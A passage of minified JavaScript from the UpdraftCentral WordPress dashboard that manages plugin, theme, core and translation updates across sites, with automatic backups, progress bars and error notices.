started..."),Q(u,c=!0),jQuery("div.updates_table_container.mass_updates").find("input, select, button#btn-reload-updates").attr("disabled",!0);var t=o.find("div.progress-section div.udc-progress-bar");u.progress.set_container(t);var a=h(".updates_table_container.mass_updates select#updates_backup_choice_dropdown").val();if(d.clear(),-1!=h.inArray(a,["default","yes"])&&0<f.count()){var s=f.get_items();if(s.length)for(var r=0;r<s.length;r++){var n=s[r];if(!n.autobackup_complete&&0<n.update_queue.count())!!("yes"==a||n.automatic_backups&&"default"==a)&&!d.exists(n.id)&&d.add(n.id,n)}}0<d.count()?T(e,u.progress):u.process_tasks().then(function(e){0<y&&console.log("Mass updates execution has been completed!");for(var t,a="<h2>"+udclion.updates.error_items_header+" ("+udclion.updates.skipped+")</h2>",s=[],r=0;r<e.length;r++)if(void 0!==(t=e[r]).skip&&t.skip)if(void 0!==t.item&&t.item){var n=t.response;s.push({label:n.label,version:n.old_version,site:t.site})}else UpdraftCentral.add_dashboard_notice_singleton(a+t.response+" - "+t.site,"error",3e4,{},"errors");if(s.length){for(r=0;r<s.length;r++){var i=s[r];a+="<div>"+sprintf("%s (%s) - %s.",i.label,i.version,i.site)+"</div>"}UpdraftCentral.add_dashboard_notice_singleton(a,"error",3e4,{},"error_items")}u.progress.set_complete(),u.clear_tasks();var d=g.get_items();if(d.length)for(r=0;r<d.length;r++)d[r].autobackup_requested=!1,d[r].autobackup_complete=!1,g.update(d[r].id,d[r]);Q(u),o.find("input, select, button#btn-reload-updates").each(function(){var e=jQuery(this),t=e.data("unavailable");void 0!==t&&t?e.prop("disabled",!0):e.prop("disabled",!1)}),c=!1,_.clear(),jQuery('#updates_container input[name="uc_updates_check_item"]').removeAttr("checked"),setTimeout(function(){u.progress.reset(),P();var e=o.find("div.updraftcentral_table > .tbody");e.find("div.updates-update").length<1&&(o.find("div.updraftcentral_table > .thead").hide(),0<e.find("div#no_matching_items").length&&e.find("div#no_matching_items").remove(),e.append('<div class="row"><div class="col-md-12"><h5>'+udclion.updates.no_available_updates+"</h5></div></div>"))},3e3)}).fail(function(e){0<y&&(console.log("Mass updates execution has stopped due to the following error(s):"),console.log(e)),u.progress.abort(udclion.updates.process_aborted),u.clear_tasks(),Q(u),jQuery("div.updates_table_container.mass_updates").find("input, select, button#btn-reload-updates").each(function(){var e=jQuery(this),t=e.data("unavailable");void 0!==t&&t?e.prop("disabled",!0):e.prop("disabled",!1)}),c=!1,_.clear(),jQuery('#updates_container input[name="uc_updates_check_item"]').removeAttr("checked"),P(),setTimeout(function(){u.progress.reset()},2e3)})}}),UpdraftCentral.register_event_handler("click","#updates_container #btn-reload-updates",function(){jQuery(this).hasClass("disabled")||jQuery(document).find("button.updraftcentral_action_show_all_updates").trigger("click")}),UpdraftCentral.register_event_handler("click",".updraftcentral_row_extracontents button.update-info",function(){var e=jQuery(this).closest(".row.update-item"),t=e.data("entity"),a=e.data(t+"-info");void 0!==a&&0!==a.length&&a?("translation"===t&&(a={translations:a}),UpdraftCentral.open_modal(udclion.updates.update_info,UpdraftCentral.template_replace("updates-"+t+"-update-info",a),!0,!1,r)):0<y&&console.log(UpdraftCentral_Library.ucfirst(t)+" info not found")}),UpdraftCentral.register_event_handler("click","#updraftcentral_updraftplus_actions > button.updraftcentral_action_choose_another_site",function(){h(this).html(h(this).html().replace(/\s\s+/,"").replace(udclion.return_to_updates,s)),h(this).siblings(".updraftcentral_action_show_all_updates").show()}),UpdraftCentral.register_event_handler("click","#updraftcentral_updraftplus_actions > button.updraftcentral_action_show_all_updates",function(){h(this).hide();var e=h(this).siblings(".updraftcentral_action_choose_another_site");s=e.text().replace(/\s\s+/,""),e.html(e.html().replace(/\s\s+/,"").replace(s,udclion.return_to_updates)),jQuery("#updraftcentral_sites_search_area, #updraftcentral_dashboard_existingsites .updraftcentral_site_row, #updraftcentral_dashboard_existingsites .updraftcentral_row_divider").hide();var t=jQuery("#updraftcentral_dashboard_existingsites"),r=t.find("#updates_container");0===r.length&&(r=jQuery("<div/>",{id:"updates_container",class:"updraftcentral_row_extracontents"}),t.append(r));var a=UpdraftCentral.template_replace("updates-table-mass-header",{});r.html('<div class="updraft_updates_output updraft_module_output">'+a+"</div>"),_.clear(),f.clear(),0<g.count()&&h.map(g.get_items(),function(e,t){e.update_queue.clear()}),b.clear(),u.clear_tasks(),t.find(".updraftcentral_site_row:not(.suspended)").each(function(){var e=jQuery(this);u.add_task(q,[e,r])}),r.find("button#btn-reload-updates").addClass("disabled");var n=r.find("div.updates_table_container.mass_updates");n.find("input, select").attr("disabled",!0),l=!0,h("span.uc_updates_perpage > select").prop("disabled",!0),u.progress.set_container(n.find("div.progress-section div.udc-progress-bar")),u.process_tasks().then(function(e){0<y&&console.log("Tasks execution has been completed!");for(var t,a=!1,s=0;s<e.length;s++)void 0===(t=e[s]).skip||t.skip?0<y&&void 0!==t.site&&(console.log(t.site+" has been skipped due to the following reason or error:"),console.log(t)):a=!0;a||(r.find("div.updraftcentral_table").is(":visible")||r.find("div.updraftcentral_table").show(),r.find("div.updraftcentral_table > .tbody").append('<div class="row"><div class="col-md-12"><h5>'+udclion.updates.no_available_updates+"</h5></div></div>")),u.progress.set_complete(udclion.updates.loading_process_completed),L({site_runner:u,container:r,form_container:n,has_non_skipped_items:a})}).fail(function(e){0<y&&(console.log("Tasks execution has stopped due to the following error(s):"),console.log(e)),L({site_runner:u,container:r,form_container:n},udclion.updates.abort)})}),UpdraftCentral.register_modal_listener("ul#updates-sections-list a.updates-section-link",function(e){e.preventDefault();var t=jQuery(this).data("section");jQuery("#updraftcentral_modal #updates-sections-list li.selected").removeClass("selected"),jQuery(this).closest("li").addClass("selected"),jQuery("#updraftcentral_modal .updates-section").hide(),jQuery("#updraftcentral_modal #updates-section-"+t).show()}),UpdraftCentral.register_modal_listener(".request-filesystem-credentials-dialog-content #ssh",function(){jQuery("#updraftcentral_modal .request-filesystem-credentials-dialog-content #ssh_keys").show()}),UpdraftCentral.register_modal_listener(".request-filesystem-credentials-dialog-content #ftp, .request-filesystem-credentials-dialog-content #ftps",function(){jQuery("#updraftcentral_modal .request-filesystem-credentials-dialog-content #ssh_keys").hide()}),UpdraftCentral.register_row_clicker(".updraftcentral_row_extracontents button#btn-update-all",function(d){var o=g.item(d.data("site_id")),l=p.item(o.id);if(!jQuery(this).hasClass("disabled")||o.autobackup_complete&&!o.update_processing&&l.tasks_count()){var e=jQuery(this),t=jQuery(this).parent();0<y&&console.log("Task runner execution started..."),j(l,!0),jQuery(".updraftcentral_row_extracontents button.update-go").addClass("disabled"),jQuery(".updraftcentral_row_extracontents button.update-in-progress").addClass("disabled");var a=t.find("div.progress-section div.udc-progress-bar");0===a.length&&(a=t.append('<div class="row progress-section"><div class="col-md-12 udc-progress-bar"></div></div>').find("div.progress-section div.udc-progress-bar")),l.progress.set_container(a);var s=h(".updates_table_container.per-site select#updates_backup_choice_dropdown").val();if((o.automatic_backups&&"default"==s||"yes"==s)&&!o.autobackup_complete)o.autobackup_options={caller:e,bypass:!1},n(o,l.progress);else{var r=0;o.autobackup_complete&&o.autobackup_options.hasOwnProperty("bypass")&&!o.autobackup_options.bypass&&(l.progress.set_custom_status(udclion.updates.backup_done),o.autobackup_options.bypass=!0,r=2e3),setTimeout(function(){o.update_processing=!0,g.update(o.id,o),l.process_tasks().then(function(e){0<y&&console.log("Tasks execution has been completed!");for(var t,a="<h2>"+udclion.updates.error_items_header+" ("+udclion.updates.skipped+")</h2>",s=[],r=0;r<e.length;r++)if(void 0!==(t=e[r]).skip&&t.skip)if(void 0!==t.item&&t.item){var n=t.response;s.push({label:n.label,version:n.old_version,site:t.site})}else UpdraftCentral.add_dashboard_notice_singleton(a+t.response+" - "+t.site,"error",3e4,{},"errors");if(s.length){for(r=0;r<s.length;r++){var i=s[r];a+="<div>"+sprintf("%s (%s) - %s.",i.label,i.version,i.site)+"</div>"}UpdraftCentral.add_dashboard_notice_singleton(a,"error",3e4,{},"error_items")}l.progress.set_complete(),o.autobackup_requested=!1,o.autobackup_complete=!1,g.update(o.id,o),U(o),setTimeout(function(){var e=d.find(".updates_table_container .tbody");e.children().length<1&&(e.closest(".updates_table_container").remove(),d.find(".updraft_updates_output").append("<h5>"+udclion.updates.no_updates+"</h5>"))},3e3)}).fail(function(e){0<y&&(console.log("Tasks execution has stopped due to the following error(s):"),console.log(e)),U(o,udclion.updates.process_aborted)})},r)}}}),UpdraftCentral.register_row_clicker(".updraftcentral_row_extracontents button.update-go",function(e){if(!jQuery(this).hasClass("disabled")){var t=g.item(e.data("site_id")),a=p.item(t.id),s=jQuery(this).closest(".row.update-item"),r=s.data("entity"),n=s.data("name");if(void 0===n)switch(r){case"plugin":case"theme":n=s.data(r+"-info").update[r];break;case"core":n=udclion.updates.wordpress;break;case"translation":n=udclion.updates.translations+" ("+t.site_description+")"}if(void 0!==t&&void 0!==n&&n.length){var i=UpdraftCentral_Library.md5(t.id+"_"+n),d=t.get_update_info(r,i);if(d)if(void 0!==d.mysql_error)UpdraftCentral_Library.dialog.alert(d.mysql_error,null,!1);else{var o=a.add_task(k,[d,t]);if(o)p.update(t.id,a),0<y&&(console.log("Item queued for processing:"),console.log(d)),s.find("button.update-go").hide(),s.find(".update-in-progress").css("width","auto").show(),b.add(i,o),j(a)}}}}),UpdraftCentral.register_row_clicker(".updraftcentral_row_extracontents button.update-in-progress",function(e){if(!jQuery(this).hasClass("disabled")){var t=g.item(e.data("site_id")),a=p.item(t.id),s=jQuery(this).closest(".row.update-item"),r=s.data("entity"),n=s.data("name");if(void 0===n)switch(r){case"plugin":case"theme":n=s.data(r+"-info").update[r];break;case"core":n=udclion.updates.wordpress;break;case"translation":n=udclion.updates.translations+" ("+t.site_description+")"}if(void 0!==t&&void 0!==n&&n.length){var i=UpdraftCentral_Library.md5(t.id+"_"+n);if(b.exists(i)){var d=b.item(i);if(a.remove_task(d))s.find("button.update-in-progress").hide(),s.find(".update-go").css("width","auto").show(),b.remove(i),j(a)}}}}),UpdraftCentral.register_row_clicker(".updraftcentral_action_show_updates",function(l){var e={force_refresh:!1};jQuery(this).hasClass("updraftcentral_updates_force_check")&&(e.force_refresh=!0),UpdraftCentral.send_site_rpc("updates.get_updates",e,l,function(e,t,a){if("ok"==t&&e&&"updates"==UpdraftCentral.get_dashboard_mode()){var s=l.data("site_id"),r=new UpdraftCentral_Site(l);if(g.exists(s)&&(r=g.item(s)),p.exists(r.id)){var n=p.item(r.id);n.clear_tasks(),p.update(r.id,n)}else p.add(r.id,new UpdraftCentral_Tasks_Runner({concurrency:1}));var i=l.find(".updraftcentral_row_extracontents"),d="",o={plugins:null,themes:null,core:null,translations:null};e.data&&(e.data.hasOwnProperty("plugins")&&e.data.plugins.length&&(o.plugins=UpdraftCentral.template_replace("updates-plugin-updates",{plugins:e.data.plugins})),e.data.hasOwnProperty("themes")&&e.data.themes.length&&(o.themes=UpdraftCentral.template_replace("updates-theme-updates",{themes:e.data.themes})),e.data.hasOwnProperty("core")&&e.data.core.length&&(o.core=UpdraftCentral.template_replace("updates-core-updates",{core:e.data.core})),e.data.hasOwnProperty("translations")&&e.data.translations&&(o.translations=UpdraftCentral.template_replace("updates-translation-updates",{translations:e.data.translations.items,as_json:JSON.stringify(e.data.translations.items),website_id:r.id})),e.data.hasOwnProperty("meta")&&void 0!==e.data.meta.automatic_backups&&(r.automatic_backups=e.data.meta.automatic_backups)),d=o.plugins||o.themes||o.core||o.translations?UpdraftCentral.template_replace("updates-table-header",o):"<h5>"+udclion.updates.no_updates+"</h5>",i.html('<div class="updraft_updates_output updraft_module_output"><div class="dashicons dashicons-image-rotate updraftcentral_action_show_updates updraftcentral_updates_force_check"></div>'+UpdraftCentral_Library.sanitize_html(d)+"</div>"),e.data.plugins.length&&w(l,e.data.plugins,"plugin"),e.data.themes.length&&w(l,e.data.themes,"theme"),g.exists(s)||g.add(r.id,r),(u=r).updates.plugin.clear(),u.updates.theme.clear(),u.updates.core.clear(),u.updates.translation.clear(),jQuery(".updraftcentral_row_extracontents button.update-go").each(function(){var e=jQuery(this).closest(".row.update-item"),t=e.data("entity"),a=e.data("name"),s=e.data(t+"-info");if("translation"===t||("core"===t||s&&s.hasOwnProperty("update"))&&("core"!==t||s&&s.hasOwnProperty("version"))){var r=!0;if(s.hasOwnProperty("installed")&&s.installed.hasOwnProperty("is_mysql")&&!s.installed.is_mysql&&(r=!1),s.hasOwnProperty("sufficient")){var n=!r||s.sufficient.mysql,i=s.sufficient.php;n?i||(mysql_error="<h2>"+udclion.updates.cannot_update+"</h2>"+sprintf(udclion.updates.insufficient_php,s.version,s.php_version,s.installed.php)):mysql_error=i?"<h2>"+udclion.updates.cannot_update+"</h2>"+sprintf(udclion.updates.insufficient_mysql,s.version,s.mysql_version,s.installed.mysql):"<h2>"+udclion.updates.cannot_update+"</h2>"+sprintf(udclion.updates.insufficient_php_and_mysql,s.version,s.php_version,s.mysql_version,s.installed.php,s.installed.mysql)}if(void 0===a||!a||!a.length)switch(t){case"plugin":case"theme":a=s.update[t];break;case"core":a=udclion.updates.wordpress;break;case"translation":a=udclion.updates.translations+" ("+u.site_description+")"}if(void 0!==a&&a&&a.length){var d={},o=!1;switch(t){case"plugin":d.plugin=s.update.plugin,d.slug=s.update.slug,d.label=s.name,d.name=a,d.old_version=s.version,d.new_version=s.update.new_version,d.plugin&&d.plugin.length&&d.slug&&d.slug.length||(o=!0);break;case"theme":d.theme=s.update.theme,d.label=s.name,d.name=a,d.old_version=s.version,d.new_version=s.update.new_version,d.theme&&d.theme.length||(o=!0);break;case"core":"undefined"!=typeof mysql_error&&(d.mysql_error=mysql_error),d.core=s.version,d.label=a,d.name=a,d.old_version=s.installed.version,d.new_version=s.version,d.core&&d.core.length||(o=!0);break;case"translation":d.translation=1,d.label=udclion.updates.translations,d.name=a}if(!o&&d&&d.hasOwnProperty("name")&&d.name){var l=UpdraftCentral_Library.md5(u.id+"_"+d.name);d.entity=t,u.updates[t].add(l,d)}else 0<y&&(console.log("UpdraftCentral: load_site_updates(): update ("+t+") without expected info (details follow)"),console.log(d))}}}),v.load_credentials(u).then(function(e){var t=e.request_filesystem_credentials,a=!1;for(var s in t)t[s]&&(a=!0);u.credentials_required=a,g.update(u.id,u),0<y&&console.log("UpdraftCentral: remote site credentials has been loaded")})}var u})},!0),jQuery("#updraftcentral_notice_container").on("click",".updraftcentral_notice .update-failure-messages-show",function(e){e.preventDefault(),jQuery(this).hide().siblings(".update-failure-messages-text").slideDown()}),jQuery("#updraftcentral_notice_container").on("click",".updraftcentral_notice > .updraftcentral_notice_dismiss",function(){var e=jQuery(this).closest("#updraftcentral_notice_container").find(".update-errors");if(1<jQuery.trim(e.html()).length){var t=$site_row.data("site_id"),a=g.item(t);a.update_processing=!1,g.update(a.id,a)}}),jQuery("#updraftcentral_dashboard_existingsites").on("updraftcentral_listener_finished_updraftplus_backup",function(e,t){e.preventDefault();var a=t.site_id,s=g.item(a);if(void 0!==s&&!s.autobackup_complete&&(0<y&&console.log("UpdraftCentral: automatic backup is complete."),s.autobackup_complete=!0,g.update(s.id,s),void 0!==s.autobackup_options.caller)){var r=s.autobackup_options.caller;void 0!==s.autobackup_options.mass_updates&&s.autobackup_options.mass_updates?(d.exists(s.id)&&d.remove(s.id),r.apply(null,s.autobackup_options.args)):r.trigger("click")}}),jQuery("#updraftcentral_dashboard_existingsites_container").on("click",".updraftcentral_site_row "+e+" .updates-update a",function(e){var t=jQuery(this).attr("href");void 0!==t&&"http"==t.substring(0,4)&&(e.preventDefault(),window.open(t,"_blank").focus())})})}jQuery(document).ready(function(){new UpdraftCentral_Updates});